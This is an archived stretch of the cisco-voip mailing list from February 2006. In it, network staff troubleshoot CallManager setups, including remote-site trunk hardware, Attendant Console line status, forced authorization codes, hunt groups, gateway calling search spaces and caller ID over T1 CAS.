I know PRI's work.  What about FXO, CAS, BRI, etc.


Thank


Scott


_______________________________________________
cisco-voip mailing list
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https://puck.nether.net/mailman/listinfo/cisco-voip



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From wsisk at cisco.com  Wed Feb 15 09:37:45 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 09:38:01 2006
Subject: [cisco-voip] Voice Hardware Questions
In-Reply-To: <OF73D2D76F.49DAD3DA-ON85257115.005BBCF3-86257115.005DB5BC@assurant.com>
References: <OF73D2D76F.49DAD3DA-ON85257115.005BBCF3-86257115.005DB5BC@assurant.com>
Message-ID: <5BF6FA97-E930-4938-8612-C2E4A8E3D167@cisco.com>

what reason does the telco offer for not being able to deliver a t1/ 
pri to the site?  if it's because of physical distance you're going  
to have a challenge. the voice quality tends to suffer on long analog  
lines with most Cisco analog voice port modules.

"trunk group of DID's with no CID" sounds like what we call t1-cas or  
robbed bit signaling, or a voice trunk.  it gives you 24 channels of  
voice on a T1.  your vwic2-1mft-t1/e1 would be the proper termination  
for this.

/Wes
On Feb 14, 2006, at 12:03 PM, steve.siltman at assurant.com wrote:


I've been getting conflicting answers to hardware needed for a new  
remote site we are setting up.  I blame myself more due to the fact  
that I'm still very green at this stuff and my inability to ask the  
question intelligently enough.  I wanted to throw this at the trusty  
cisco-voip group of peeps.

New Remote Office Equipment:
Cisco 2821-V/K9 with PVDM2-32U48 using a VWIC2-1MFT-T1/E1

Having an issue with the LEC on getting a T1/PRI into the office.

The choices we have been given:

1.  Backhaul a T1/PRI to a CO thats farther away but the costs just  
doubled.
        - I can use the above equipment with this option but do I  
have to worry about distance to the CO?

2.  Analog group of lines (8 POTS lines)
       -  With this option, my Multi-Flex T1 card is useless.  Will  
the EVM-HD-8FS/DID module do the trick for me?   Can I use the DID  
ports on this module or do I need to add the EM-HDA-6FXO module?

3.  Trunk group of DID's with no CID
       - What hardware module would I need for this option?  This  
option is being talked about the most because of cost.

I've got a Call Manager Cluster at the home office with this site  
using SRST if the wan link goes away.  I'm running CM 4.1(3)sr1.

Any response would be appreciated.   This is our first remote office  
and its been challenging but loads of fun at the same time.

Steve Siltman
Assurant, Inc.
Senior Network Analyst
Work: 651-361-4752
Cell: 651-336-5563
steve.siltman at assurant.com

This e-mail message and all attachments transmitted with it may  
contain legally privileged and/or confidential information intended  
solely for the use of the addressee(s). If the reader of this message  
is not the intended recipient, you are hereby notified that any  
reading, dissemination, distribution, copying, forwarding or other  
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From wsisk at cisco.com  Wed Feb 15 09:32:41 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 09:38:14 2006
Subject: [cisco-voip] Attendant Console line status issue
In-Reply-To: <20060214055844.47812.qmail@web34313.mail.mud.yahoo.com>
References: <20060214055844.47812.qmail@web34313.mail.mud.yahoo.com>
Message-ID: <BA6B0D91-3982-40B5-B8D6-A636B9388804@cisco.com>

AC user is not required to be associated to all lines.

line forwarding state is only updated under specific circumstances, see
CSCec42317

line busy/idle status is delivered from server to client vi UDP  
packets.  most of the packet is ascii and legible in a sniffer  
trace.  I recall that ACServer only sends <DN>/<status> and does not  
include the partition so same line in different partitions would  
confuse things.

the UDP port number the client uses to receive linestate updates is  
configurable in the client settings.

/Wes

On Feb 14, 2006, at 12:58 AM, Erick Bergquist wrote:


Update to this... the tcd trace shows the line status
updates being sent to client.

Found out the way they have a lot of their phones set
up is line 1 is DN 1234 in partition1 and line 2 is
same DN 1234 but in partition2. From reading docs this
sounds like it may be not good, but apparently this
supposedly has worked in past for awhile with no
problem. Stopping/starting TCD or rebooting the CCM
server seems to get it working for awhile again.

Do all the people in directory and speed dials need to
be associated to the ac user for line status to work?
I haven't had to do this before and can't find it in
docs anywhere but just checking. I am going to get a
sniffer trace from client PC. The users in the speed
dial are good in the user directory (all fields filled
out correctly with telephone # that matches the IP
phone extension).

--- Erick Bergquist <erickbe at yahoo.com> wrote:

> Have a client with an AC peroblem with line status
> not
> displaying right or refreshing. Attendant console
> 1.2(1) es14 running on CCM 3.3(4) and a receptionist
> who is using Windows 98.
>
> They have 5 people listed in the speed dial window
> and
> when someone gets a call listed in speed dial, the
> line status of that person is not getting updated.
> When the AC user gets a call and tries to transfer a
> caller to that by dragging call onto speed dial then
> the line status changes from showing they are
> available to busy because they are on a call
> already.
>
> Is there a refresh interval that can be adjusted?
>
> They have 140 people listed in the directory panel
> and
> the line status is not displayed there. It's been
> awhile, but I recall the directory only displaying
> line status right if there was 10 or less people
> displayed in the directory. I had them narrow it
> down
> to 2 people listed and they had the same problem as
> speed dial issue above.
>
> Anything in TCD traces I can look for on this?
>
> __________________________________________________
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From ealeatherman at gmail.com  Wed Feb 15 09:38:56 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb 15 09:39:04 2006
Subject: [cisco-voip] Route Pattern/FAC question
In-Reply-To: <0B14A25C-30E5-4345-B6F7-F31237F0DB26@cisco.com>
References: <94a1afde0602131401y62cee164g285cad556092e544@mail.gmail.com>
	<0B14A25C-30E5-4345-B6F7-F31237F0DB26@cisco.com>
Message-ID: <94a1afde0602150638q443ec8e1td9126a8c7ceb067b@mail.gmail.com>

If I understand how that would work, it would not prompt the user for a FAC
in the event that the ICT was OoBandwidth or WAN was down - it would just
roll over to the PSTN gateway. Is that right?

What I've been asked to do is make sure it prompts for a FAC code if it goes
to the PSTN. So if the ICT is up and available, no FAC is needed but if its
unavailable and the call needs to go out the PSTN, they need the FAC code
for billing/tracking.

On 2/15/06, Wes Sisk <wsisk at cisco.com> wrote:
>
> AAR will auto reroute to PSTN if WAN is OoBandwidth.  However,  FAC
> does not work on trunk to trunk calls (or didn't when I wrote the
> networks presentation last year) i.e.   cluster1---->(ICT)cluster2
> (mgcpgw)--PSTN.
>
> scenario that does work:
> remote site has all calls default route to local gateway through a
> route pattern that uses FAC
> calls to central site route over ICT with AAR (use special CSS to
> match a RP that does not use FAC)  make your local gw be the 2nd
> member in the route group to cover the case where the central site
> does not respond at all (WAN down).
>
> /Wes
>
>
> On Feb 13, 2006, at 5:01 PM, Ed Leatherman wrote:
>
> I'm trying to build a scenario in the lab that functions like this:
>
> Remote site (seperate CCM 4.1) has intercluster trunk to Main Campus
> CCM 4.1. Also has PRI to PSTN.
>
> If a remote site user dials an extension for the main campus, it will
> hit a route pattern/Route List that has a route group containing the
> ICT first, and then a route group containing the PSTN Gateway as the
> second item. So if the WAN connection is down or out of bandwidth it
> translates the called number and sends it out the PSTN gateway
> instead. So far so good.
>
> What the remote site has now asked is to have forced auth. codes on
> long distance PSTN calls. Is there a way to configure it such that
> for calls to the main site callmanager only asks for a FAC if the
> call gets directed to the PSTN? It seems i have to specify the FAC
> from route pattern page, which will ask for a FAC every time even on
> ICT calls. I wasnt sure if there was a more clever way to do it and
> get the desired effect.
>
> I took a look at AAR, but it mentioned that it was for intrA-cluster
> calls rather than intER-cluster calls.. and i'm not sure it would
> help me out anyway since calls aren't re-routed in the event of WAN
> failure.
>
> Thanks!
> --
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From wsisk at cisco.com  Wed Feb 15 09:39:44 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 09:40:00 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AA9D@svcexch02.firm.fenwick.llp>
References: <965C0255FD5828438E34F9A68ECA76E740AA9D@svcexch02.firm.fenwick.llp>
Message-ID: <C204EC32-37E7-4FFD-A377-0C03F98E339C@cisco.com>

Callmanager is simply gong to tell the gateway to play a tone.
what is your output attenuation on your gateway set to?  this is the  
only thing I am aware of that would modify the loudness of the tone.

/Wes

On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:

CallManager 4.0(2a)sr2c

I got strange one here.  One of my users complained that when he  
calls our main number and asks to be transferred to another employee,  
he hears two or three beeps when the receptionist transfers his  
call.  The problem isn't the beeps itself, but the loudness of the  
beeps.  I was able to duplicate this issue on my phones, but on my  
lab phones, it does not do that.

Does anyone know where to find this "beep" setting when callers are  
transferred?

Thanks in advance.

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From bcarter at sentinel.com  Wed Feb 15 09:45:57 2006
From: bcarter at sentinel.com (Carter, Bill)
Date: Wed Feb 15 09:46:05 2006
Subject: [cisco-voip] Attendant Console line status issue
Message-ID: <6A0744639B86DD459433108DBF101D26D21570@MAIL01.sentinel.com>

Attendant Console can not have the same DN configured on the Attendants
Phone, regardless of partitions.  Basically Attendant Console ignores
partitions.

Associated with AC user:
Attendant Console Hunt Group
Attendant Console Users Phones

I have never seen an instance where an IP Phone status didn't display
correctly in Attendant Console.

PS.  When you make changes to Attendant Console Hunt Group/Pilot Point
etc., restarting TCD is required.

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Erick Bergquist
Sent: Monday, February 13, 2006 11:59 PM
To: erickbe at yahoo.com; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant Console line status issue


Update to this... the tcd trace shows the line status updates being sent
to client. 

Found out the way they have a lot of their phones set up is line 1 is DN
1234 in partition1 and line 2 is same DN 1234 but in partition2. From
reading docs this sounds like it may be not good, but apparently this
supposedly has worked in past for awhile with no problem.
Stopping/starting TCD or rebooting the CCM server seems to get it
working for awhile again. 

Do all the people in directory and speed dials need to be associated to
the ac user for line status to work?
I haven't had to do this before and can't find it in docs anywhere but
just checking. I am going to get a sniffer trace from client PC. The
users in the speed dial are good in the user directory (all fields
filled out correctly with telephone # that matches the IP phone
extension). 

--- Erick Bergquist <erickbe at yahoo.com> wrote:

> Have a client with an AC peroblem with line status not displaying 
> right or refreshing. Attendant console
> 1.2(1) es14 running on CCM 3.3(4) and a receptionist who is using 
> Windows 98.
> 
> They have 5 people listed in the speed dial window and when someone 
> gets a call listed in speed dial, the line status of that person is 
> not getting updated.
> When the AC user gets a call and tries to transfer a caller to that by

> dragging call onto speed dial then the line status changes from 
> showing they are available to busy because they are on a call already.
> 
> Is there a refresh interval that can be adjusted?
> 
> They have 140 people listed in the directory panel and the line status

> is not displayed there. It's been awhile, but I recall the directory 
> only displaying line status right if there was 10 or less people 
> displayed in the directory. I had them narrow it down to 2 people 
> listed and they had the same problem as speed dial issue above.
> 
> Anything in TCD traces I can look for on this?
> 
> __________________________________________________
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From wsisk at cisco.com  Wed Feb 15 09:53:38 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 09:53:54 2006
Subject: [cisco-voip] Call Handler
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE148F@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE148F@VISHNU.wesd.org>
Message-ID: <E09F1DB2-0952-4AAA-8B4E-8055800199E5@cisco.com>

take a look at CSCeb30463, then poke around with your transfer  
restriction table and see if you find what you're looking for.

/Wes

On Feb 14, 2006, at 10:36 AM, Voll, Scott wrote:

Am I the only one that thinks it would be nice to be able to do a  
transfers directly from a Call Handler rather then having to setup  
other call handlers just to do a transfer to a extension?



Any better solutions out there?



Scott



PS.  Just for background I have two Unity servers.  One on old PBX  
and the other connected to CM.  I have users that are now on both IP  
Phones and PBX phones.  I?m trying to setup the IP Phones to forward  
to the PBX phone if no one answers the phone.

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From wsisk at cisco.com  Wed Feb 15 10:07:20 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 10:07:36 2006
Subject: [cisco-voip] Route Pattern/FAC question
In-Reply-To: <94a1afde0602150638q443ec8e1td9126a8c7ceb067b@mail.gmail.com>
References: <94a1afde0602131401y62cee164g285cad556092e544@mail.gmail.com>
	<0B14A25C-30E5-4345-B6F7-F31237F0DB26@cisco.com>
	<94a1afde0602150638q443ec8e1td9126a8c7ceb067b@mail.gmail.com>
Message-ID: <7A33C1DB-AFD2-488F-8F08-CC857378F8C3@cisco.com>

"if it goes to the PSTN" - if WAN is down between the CM's then only  
alternative is PSTN.

I have not tested AAR to a FAC enabled RP, so in uncharted territory  
just now
I only expect AAR to engage if we get an OOB either from GK or by  
locations CAC.  AAR allows us to use a different CSS to attempt to  
route the call, so we could match a new routepattern with whatever  
settings we want (FAC?)

For the case of WAN being down, I think we are stuck using the route  
pattern we have already matched so only option is to send the call  
out the local gateway with whatever number modifications we desire.   
If you're using an h323 gateway you could use the TCL script calling  
card application, but that would produce another data source to have  
to incorporate into your reporting and billing.

sounds like time for a recreate. where's chris?

/Wes

On Feb 15, 2006, at 9:38 AM, Ed Leatherman wrote:

If I understand how that would work, it would not prompt the user for  
a FAC in the event that the ICT was OoBandwidth or WAN was down - it  
would just roll over to the PSTN gateway. Is that right?

What I've been asked to do is make sure it prompts for a FAC code if  
it goes to the PSTN. So if the ICT is up and available, no FAC is  
needed but if its unavailable and the call needs to go out the PSTN,  
they need the FAC code for billing/tracking.

On 2/15/06, Wes Sisk <wsisk at cisco.com> wrote:
AAR will auto reroute to PSTN if WAN is OoBandwidth.  However,  FAC
does not work on trunk to trunk calls (or didn't when I wrote the
networks presentation last year) i.e.   cluster1---->(ICT)cluster2
(mgcpgw)--PSTN.

scenario that does work:
remote site has all calls default route to local gateway through a
route pattern that uses FAC
calls to central site route over ICT with AAR (use special CSS to
match a RP that does not use FAC)  make your local gw be the 2nd
member in the route group to cover the case where the central site
does not respond at all (WAN down).

/Wes


On Feb 13, 2006, at 5:01 PM, Ed Leatherman wrote:

I'm trying to build a scenario in the lab that functions like this:

Remote site (seperate CCM 4.1) has intercluster trunk to Main Campus
CCM 4.1. Also has PRI to PSTN.

If a remote site user dials an extension for the main campus, it will
hit a route pattern/Route List that has a route group containing the
ICT first, and then a route group containing the PSTN Gateway as the
second item. So if the WAN connection is down or out of bandwidth it
translates the called number and sends it out the PSTN gateway
instead. So far so good.

What the remote site has now asked is to have forced auth. codes on
long distance PSTN calls. Is there a way to configure it such that
for calls to the main site callmanager only asks for a FAC if the
call gets directed to the PSTN? It seems i have to specify the FAC
from route pattern page, which will ask for a FAC every time even on
ICT calls. I wasnt sure if there was a more clever way to do it and
get the desired effect.

I took a look at AAR, but it mentioned that it was for intrA-cluster
calls rather than intER-cluster calls.. and i'm not sure it would
help me out anyway since calls aren't re-routed in the event of WAN
failure.

Thanks!
--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip




-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations

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From steve.siltman at assurant.com  Wed Feb 15 10:11:18 2006
From: steve.siltman at assurant.com (steve.siltman@assurant.com)
Date: Wed Feb 15 10:11:57 2006
Subject: [cisco-voip] Voice Hardware Questions
In-Reply-To: <5BF6FA97-E930-4938-8612-C2E4A8E3D167@cisco.com>
Message-ID: <OF70DB9911.24D39484-ON85257116.0051654F-86257116.00536E7E@assurant.com>

The LEC came back with "No Facilities Available" and doubled our cost to 
connect to another CO.  Not sure how far away the other CO is.

With the inability to do CID on the Trunk group of DID's.  we are throwing 
in an order for 8 to 12 POTS lines and going with option 2.  Looking into 
the  EVM-HD-8FS/DID & VIC-4FXS/DID modules to see if they can work with 
each other to support up to 12 POTS lines. 



Steve Siltman
Assurant, Inc.
Senior Network Analyst
Work: 651-361-4752
Cell: 651-336-5563
steve.siltman at assurant.com



Wes Sisk <wsisk at cisco.com> 
02/15/2006 08:37 AM

To
steve.siltman at assurant.com
cc
cisco-voip at puck.nether.net
Subject
Re: [cisco-voip] Voice Hardware Questions






what reason does the telco offer for not being able to deliver a t1/pri to 
the site?  if it's because of physical distance you're going to have a 
challenge. the voice quality tends to suffer on long analog lines with 
most Cisco analog voice port modules.

"trunk group of DID's with no CID" sounds like what we call t1-cas or 
robbed bit signaling, or a voice trunk.  it gives you 24 channels of voice 
on a T1.  your vwic2-1mft-t1/e1 would be the proper termination for this.

/Wes
On Feb 14, 2006, at 12:03 PM, steve.siltman at assurant.com wrote:


I've been getting conflicting answers to hardware needed for a new remote 
site we are setting up.  I blame myself more due to the fact that I'm 
still very green at this stuff and my inability to ask the question 
intelligently enough.  I wanted to throw this at the trusty cisco-voip 
group of peeps. 

New Remote Office Equipment: 
Cisco 2821-V/K9 with PVDM2-32U48 using a VWIC2-1MFT-T1/E1 

Having an issue with the LEC on getting a T1/PRI into the office. 

The choices we have been given: 

1.  Backhaul a T1/PRI to a CO thats farther away but the costs just 
doubled. 
       - I can use the above equipment with this option but do I have to 
worry about distance to the CO? 

2.  Analog group of lines (8 POTS lines) 
      -  With this option, my Multi-Flex T1 card is useless.  Will the 
EVM-HD-8FS/DID module do the trick for me?   Can I use the DID ports on 
this module or do I need to add the EM-HDA-6FXO module? 

3.  Trunk group of DID's with no CID 
      - What hardware module would I need for this option?  This option is 
being talked about the most because of cost. 

I've got a Call Manager Cluster at the home office with this site using 
SRST if the wan link goes away.  I'm running CM 4.1(3)sr1. 

Any response would be appreciated.   This is our first remote office and 
its been challenging but loads of fun at the same time. 

Steve Siltman
Assurant, Inc.
Senior Network Analyst
Work: 651-361-4752
Cell: 651-336-5563
steve.siltman at assurant.com



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From ciscozest at gmail.com  Wed Feb 15 10:16:25 2006
From: ciscozest at gmail.com (Ciscozest)
Date: Wed Feb 15 10:25:14 2006
Subject: [cisco-voip] Gateway CSS
References: <13591CB4B2359F4D96E2606DD6B840A00247FE78@smoxchg.jhacorp.com>
Message-ID: <001001c63244$000413f0$6301a8c0@windfall99>

Would it do any harm if we set Gateway CSS (inbound) to contain all configured partitions? I worry if this could cause toll-fraud.
On second thought, I realized telco will always send fixed DID numbers to the gateway, thus setting the gateway CSS to contain internal partition is enough and secure. What is the best practice we should follow? Any idea? Thanks
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From Scott.Voll at wesd.org  Wed Feb 15 10:30:27 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 15 10:30:37 2006
Subject: [cisco-voip] Caller ID
Message-ID: <D713462ED535184D830F6F6301753E7E01BE14E9@VISHNU.wesd.org>

So if I understand what your saying is that with FGB and MGCP it works
and with FGD and H323 I can make it work, Yes?

 

 

 

________________________________

From: Wes Sisk 

 

FeatureGroupB is vanilla wink start t1-cas.  CM supports FGB via MGCP

FeatureGroupD includes ANI, but CCM does not support FGD via MGCP.  have
to use h323 if  you want FGB.  DNIS just gets a special format which is
*ANI*DNIS* which fails to match your route patterns in CM.  I've seen
several attempts to use translation patterns to force matches, but none
successful.

 

/Wes

 

On Feb 13, 2006, at 6:43 PM, Philip Walenta wrote:

 

T1 CAS supports ANI via feature group B or D.  I know it's one of those
two.  Only supported on a limited set of devices.

	 

	
________________________________


	From: Jonathan Charles
	
	

	BRI uses the same signaling as a PRI, so it works there
	
	FXOs work... it will come in between the first and second ring
(so if they pickup before the 2nd ring, no CID).
	
	A T1 CAS is another issue... while you can see digits in debugs,
I have never seen CID info... I would presume you can though.
	
	
	
	Jonathan

	On 2/13/06, Voll, Scott  wrote: 

	Can anyone tell me on what interfaces CM 4.1 can accept and
display Caller ID.

	 I know PRI's work.  What about FXO, CAS, BRI, etc.

	 

	Thank

	 Scott

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From tim.reimers at asheville.k12.nc.us  Wed Feb 15 10:32:27 2006
From: tim.reimers at asheville.k12.nc.us (Tim Reimers)
Date: Wed Feb 15 10:32:35 2006
Subject: [cisco-voip] Silly PilotPoint>Hunt Group question...
Message-ID: <050944EE48FF384F9C663F7048C47DA703198AFB@webmail.asheville.k12.nc.us>

Hi everyone-

Here's the goal-

I have a  remote office for some of our technicians-
I want to set up a number so that when I call that number, all phones
ring (either in sequence, or simultaneouly (prefer that)

this is so that anyone who is there will answer the call - since I don't
know who is at their desk...

Here's what I've done-

Created Pilot Point 5180
Created Hunt Group with that number-
Added members to that ("Call Directory number 6149","Call Directory
number 6150", and so on )


I've reset the Pilot Point and updated the Hunt Group -- 

I cannot  call that Pilot Point.... get a fast busy...

What am I missing?

Is it not possible to have members of a Hunt Group who are just regular
phones??
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From Scott.Voll at wesd.org  Wed Feb 15 10:38:31 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 15 10:38:40 2006
Subject: [cisco-voip] Silly PilotPoint>Hunt Group question...
Message-ID: <D713462ED535184D830F6F6301753E7E01BE14EB@VISHNU.wesd.org>

Is the Pilot point assoc. to the AC user?

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Reimers
Sent: Wednesday, February 15, 2006 7:32 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Silly PilotPoint>Hunt Group question...

 

Hi everyone- 

Here's the goal- 

I have a  remote office for some of our technicians- 
I want to set up a number so that when I call that number, all phones
ring (either in sequence, or simultaneouly (prefer that)

this is so that anyone who is there will answer the call - since I don't
know who is at their desk... 

Here's what I've done- 

Created Pilot Point 5180 
Created Hunt Group with that number- 
Added members to that ("Call Directory number 6149","Call Directory
number 6150", and so on ) 

 

I've reset the Pilot Point and updated the Hunt Group -- 

I cannot  call that Pilot Point.... get a fast busy... 

What am I missing? 

Is it not possible to have members of a Hunt Group who are just regular
phones?? 

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From Scott.Voll at wesd.org  Wed Feb 15 10:42:56 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 15 10:43:04 2006
Subject: [cisco-voip] Gateway CSS
Message-ID: <D713462ED535184D830F6F6301753E7E01BE14EC@VISHNU.wesd.org>

It all depends on if you have any overlap.  For instance if you have two
sites, each with DID's coming in on PRI's with overlapping DID's.  you
would not want the CSS of GW A to know about the Site B partitions as it
could route the call to someone at site B rather then site A.

 

I had to change the CSS of one of my GW's as we are able to dial 0 for
the receptionist but that overlapped with a DN of 0158.  Caused some
problems until I changed the CSS of the GW.

 

But in general, unless you have a reason not too, you could do this.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ciscozest
Sent: Wednesday, February 15, 2006 7:16 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Gateway CSS

 

Would it do any harm if we set Gateway CSS (inbound) to contain all
configured partitions? I worry if this could cause toll-fraud.

On second thought, I realized telco will always send fixed DID numbers
to the gateway, thus setting the gateway CSS to contain internal
partition is enough and secure. What is the best practice we should
follow? Any idea? Thanks

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From jburton at NETechCorp.com  Wed Feb 15 10:50:58 2006
From: jburton at NETechCorp.com (Jason Burton)
Date: Wed Feb 15 10:51:09 2006
Subject: [cisco-voip] SRST question
Message-ID: <FDC137145729AD438CDCA0F9FC6F72364CB0C5@mail.netechcorp.com>

Is there a way in SRST mode to make sure a phone will always register to
SRST?  Lets say I have 10 phones but only want a max of 5 phones to
register to SRST is there a way to make a 'reservation' for a certain
phone to always be able to register?

 

Thanks again!

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From tim.reimers at asheville.k12.nc.us  Wed Feb 15 10:57:19 2006
From: tim.reimers at asheville.k12.nc.us (Tim Reimers)
Date: Wed Feb 15 10:57:27 2006
Subject: [cisco-voip] Silly PilotPoint>Hunt Group question...
Message-ID: <050944EE48FF384F9C663F7048C47DA703198B11@webmail.asheville.k12.nc.us>

that was it--
 
Sounds like I need to play with Line Group as well--
 
Pilot Points appear to ring only round robin, first available or most
idle...
 
I really want all phones to ring at once (without wasting a Line
appearance/speed dial) ....
 
I just gave up on the PP, since I realised it would only ring the first
person and go into their voicemail (without smoe additional config..)
 
I've now configured a Line Group, but I'm not sure how to proceed to
give that a single number to call that rings all the phones in the LG???
 
Thanks for the quick responses---
y'all are doing a GREAT job of keeping me from having to write budget
proposal addendums this AM  
(getting to play with technology ALWAYS trumps paperwork  ;-)
 
;-) T
 

________________________________

From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Wednesday, February 15, 2006 10:39 AM
To: Tim Reimers; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Silly PilotPoint>Hunt Group question...



Is the Pilot point assoc. to the AC user?

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Reimers
Sent: Wednesday, February 15, 2006 7:32 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Silly PilotPoint>Hunt Group question...

 

Hi everyone- 

Here's the goal- 

I have a  remote office for some of our technicians- 
I want to set up a number so that when I call that number, all phones
ring (either in sequence, or simultaneouly (prefer that)

this is so that anyone who is there will answer the call - since I don't
know who is at their desk... 

Here's what I've done- 

Created Pilot Point 5180 
Created Hunt Group with that number- 
Added members to that ("Call Directory number 6149","Call Directory
number 6150", and so on ) 

 

I've reset the Pilot Point and updated the Hunt Group -- 

I cannot  call that Pilot Point.... get a fast busy... 

What am I missing? 

Is it not possible to have members of a Hunt Group who are just regular
phones?? 

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From lelio at uoguelph.ca  Wed Feb 15 11:02:15 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb 15 11:02:21 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
References: <965C0255FD5828438E34F9A68ECA76E740AA9D@svcexch02.firm.fenwick.llp>
	<C204EC32-37E7-4FFD-A377-0C03F98E339C@cisco.com>
Message-ID: <003201c63249$3097bd50$30196883@cfs.uoguelph.ca>

Would this not also modify the volume of the voices themselves?

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Wes Sisk 
  To: Stu Packett 
  Cc: cisco-voip at puck.nether.net 
  Sent: Wednesday, February 15, 2006 9:39 AM
  Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred


  Callmanager is simply gong to tell the gateway to play a tone.
  what is your output attenuation on your gateway set to?  this is the only thing I am aware of that would modify the loudness of the tone.


  /Wes


  On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:


  CallManager 4.0(2a)sr2c 

  I got strange one here.  One of my users complained that when he calls our main number and asks to be transferred to another employee, he hears two or three beeps when the receptionist transfers his call.  The problem isn't the beeps itself, but the loudness of the beeps.  I was able to duplicate this issue on my phones, but on my lab phones, it does not do that.

  Does anyone know where to find this "beep" setting when callers are transferred? 

  Thanks in advance. 


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From Scott.Voll at wesd.org  Wed Feb 15 11:03:25 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 15 11:03:34 2006
Subject: [cisco-voip] Call Handler
Message-ID: <D713462ED535184D830F6F6301753E7E01BE14EE@VISHNU.wesd.org>

Just put it in.  Subject "direct transfer from Unity Call Handler".

 

The FAC has to approve first.

 

Lelio, can you push it through?

 

Scott

 

________________________________

From: Ed Leatherman [mailto:ealeatherman at gmail.com] 
Sent: Wednesday, February 15, 2006 6:26 AM
To: Voll, Scott
Cc: Philip Walenta; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Call Handler

 

Scott,

We have to do the same thing on alot of our call handlers that transfer
off system. I don't know of any way around it.. would be interested also
if anyone knows a better way to do it. 

Might be a good thing to put a feature request for up on CIPTUG -
assuming there isnt already but I dont recall seeing one. We'd put some
votes on it for sure. 



On 2/14/06, Voll, Scott <Scott.Voll at wesd.org> wrote:

YES.

 

Due to the fact that I can't attempt transfer to subscriber as they are
on the other unity box I have to create a call handler for each person
that transfers to there extension and go back to the main Call handler
and then caller input 1 equals caller handlers person A, 2 person B,
etc.

 

It would be nice to have a drop down 1 transfer extension xxxx.

 

Scott

 

________________________________

From: Philip Walenta [mailto:pwalenta at wi.rr.com] 
Sent: Tuesday, February 14, 2006 7:45 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Call Handler

 

If I understand this correctly -

 

Instead of the "attempt transfer for 'subscriber'" or call handler -

 

A real "attempt transfer to extension XXXXXX"?

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net [mailto:
cisco-voip-bounces at puck.nether.net
<mailto:cisco-voip-bounces at puck.nether.net> ] On Behalf Of Voll, Scott
	Sent: Tuesday, February 14, 2006 9:36 AM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Call Handler

	Am I the only one that thinks it would be nice to be able to do
a transfers directly from a Call Handler rather then having to setup
other call handlers just to do a transfer to a extension?

	 

	Any better solutions out there?

	 

	Scott

	 

	PS.  Just for background I have two Unity servers.  One on old
PBX and the other connected to CM.  I have users that are now on both IP
Phones and PBX phones.  I'm trying to setup the IP Phones to forward to
the PBX phone if no one answers the phone. 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip






-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 

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From pwalenta at wi.rr.com  Wed Feb 15 11:05:31 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Wed Feb 15 11:05:35 2006
Subject: [cisco-voip] Caller ID
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE14E9@VISHNU.wesd.org>
Message-ID: <200602151605.k1FG5TDU020469@ms-smtp-04.rdc-kc.rr.com>

FGB does not provide ANI, but works with MGCP.
 
FGD provides ANI, but only works with H.323.
 
I've seen TCL scripts used to capture this info and forward it
appropriately.


  _____  

From: cisco-voip-bounces at puck.nether.net
